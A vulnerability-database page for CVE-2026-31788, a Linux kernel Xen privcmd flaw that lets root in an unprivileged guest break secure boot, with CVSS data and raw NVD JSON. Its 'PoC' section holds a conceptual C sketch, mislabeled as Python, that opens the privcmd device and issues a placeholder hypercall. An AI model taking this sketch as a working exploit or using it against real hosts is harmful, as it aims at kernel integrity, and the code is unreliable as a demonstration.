Security Vulnerability Report
中文
CVE-2026-31788 CVSS 8.2 HIGH

CVE-2026-31788

Published: 2026-03-25 11:16:41
Last Modified: 2026-04-24 15:19:58
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xen/privcmd: restrict usage in unprivileged domU The Xen privcmd driver allows to issue arbitrary hypercalls from user space processes. This is normally no problem, as access is usually limited to root and the hypervisor will deny any hypercalls affecting other domains. In case the guest is booted using secure boot, however, the privcmd driver would be enabling a root user process to modify e.g. kernel memory contents, thus breaking the secure boot feature. The only known case where an unprivileged domU is really needing to use the privcmd driver is the case when it is acting as the device model for another guest. In this case all hypercalls issued via the privcmd driver will target that other guest. Fortunately the privcmd driver can already be locked down to allow only hypercalls targeting a specific domain, but this mode can be activated from user land only today. The target domain can be obtained from Xenstore, so when not running in dom0 restrict the privcmd driver to that target domain from the beginning, resolving the potential problem of breaking secure boot. This is XSA-482 --- V2: - defer reading from Xenstore if Xenstore isn't ready yet (Jan Beulich) - wait in open() if target domain isn't known yet - issue message in case no target domain found (Jan Beulich)

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (包含Xen支持且未修复XSA-482的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <xen/xen.h> #include <xen/sys/privcmd.h> // Conceptual PoC for CVE-2026-31788 // Demonstrates opening the privcmd interface to issue hypercalls. // Exploitation requires root privileges within an unprivileged domU. int main() { int fd; privcmd_hypercall_t hypercall; int ret; // Step 1: Open the privcmd device fd = open("/dev/xen/privcmd", O_RDWR); if (fd < 0) { perror("Failed to open /dev/xen/privcmd"); return 1; } // Step 2: Prepare a hypercall structure // In a real exploit, specific hypercall numbers (e.g., memory ops) // would be used to target kernel memory and bypass Secure Boot. hypercall.op = __HYPERVISOR_memory_op; // Example operation hypercall.arg[0] = (unsigned long)XENMEM_add_to_physmap; hypercall.arg[1] = (unsigned long)NULL; // Target address // Step 3: Issue the hypercall ret = ioctl(fd, IOCTL_PRIVCMD_HYPERCALL, &hypercall); if (ret < 0) { perror("Hypercall failed"); // Note: The patch restricts this if not targeting the correct domain } else { printf("Hypercall executed successfully.\n"); } close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31788", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:40.513", "lastModified": "2026-04-24T15:19:57.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/privcmd: restrict usage in unprivileged domU\n\nThe Xen privcmd driver allows to issue arbitrary hypercalls from\nuser space processes. This is normally no problem, as access is\nusually limited to root and the hypervisor will deny any hypercalls\naffecting other domains.\n\nIn case the guest is booted using secure boot, however, the privcmd\ndriver would be enabling a root user process to modify e.g. kernel\nmemory contents, thus breaking the secure boot feature.\n\nThe only known case where an unprivileged domU is really needing to\nuse the privcmd driver is the case when it is acting as the device\nmodel for another guest. In this case all hypercalls issued via the\nprivcmd driver will target that other guest.\n\nFortunately the privcmd driver can already be locked down to allow\nonly hypercalls targeting a specific domain, but this mode can be\nactivated from user land only today.\n\nThe target domain can be obtained from Xenstore, so when not running\nin dom0 restrict the privcmd driver to that target domain from the\nbeginning, resolving the potential problem of breaking secure boot.\n\nThis is XSA-482\n\n---\nV2:\n- defer reading from Xenstore if Xenstore isn't ready yet (Jan Beulich)\n- wait in open() if target domain isn't known yet\n- issue message in case no target domain found (Jan Beulich)"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nxen/privcmd: restringir el uso en domU no privilegiado\n\nEl controlador Xen privcmd permite emitir hiperllamadas arbitrarias desde procesos de espacio de usuario. Esto normalmente no es un problema, ya que el acceso suele estar limitado a root y el hipervisor denegará cualquier hiperllamada que afecte a otros dominios.\n\nEn caso de que el invitado se inicie usando arranque seguro, sin embargo, el controlador privcmd estaría permitiendo que un proceso de usuario root modifique, por ejemplo, el contenido de la memoria del kernel, rompiendo así la característica de arranque seguro.\n\nEl único caso conocido en el que un domU no privilegiado realmente necesita usar el controlador privcmd es el caso en el que actúa como modelo de dispositivo para otro invitado. En este caso, todas las hiperllamadas emitidas a través del controlador privcmd se dirigirán a ese otro invitado.\n\nAfortunadamente, el controlador privcmd ya puede ser bloqueado para permitir solo hiperllamadas dirigidas a un dominio específico, pero este modo solo puede activarse desde el espacio de usuario hoy.\n\nEl dominio objetivo puede obtenerse de Xenstore, por lo que cuando no se ejecute en dom0, restrinja el controlador privcmd a ese dominio objetivo desde el principio, resolviendo el problema potencial de romper el arranque seguro.\n\nEsto es XSA-482\n\n---\nV2:\n- aplazar la lectura de Xenstore si Xenstore aún no está listo (Jan Beulich)\n- esperar en open() si el dominio objetivo aún no se conoce\n- emitir mensaje en caso de no encontrar dominio objetivo (Jan Beulich)"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.37.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "E7D74783-09D1-45CB-848B-C8AA784026F1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionS ... (truncated)